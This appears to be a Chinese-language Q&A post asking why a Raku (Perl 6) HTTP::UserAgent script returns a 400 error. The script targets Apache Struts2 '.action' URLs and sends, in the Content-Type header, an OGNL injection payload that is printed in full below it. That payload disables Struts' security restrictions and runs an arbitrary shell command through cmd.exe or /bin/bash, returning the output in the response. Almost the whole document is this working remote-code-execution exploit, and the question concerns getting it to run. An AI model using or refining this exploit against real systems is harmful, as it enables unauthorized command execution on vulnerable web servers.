为什么我的HTTP :: UserAgent返回400?
这是代码:
use v6;
use HTTP::UserAgent;
use HTTP::Request;
use URI::Encode;
#say @*ARGS;
if @*ARGS.elems != 1 {
say 'Use: s2.p6 "http://www.target.com/target.action"';
exit;
}
my $url = @*ARGS[0];
$url = uri_encode($url);
say 'check url: ' ~ $url;
my $data = slurp 'DATA';
my $request = HTTP::Request.new(POST => $url, Content-Type => $data);
say $request.Str;
my $ua = HTTP::UserAgent.new();
my $repo = $ua.request($request);
#for $repo.^methods -> $method {say $method;}
say $repo.content;
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}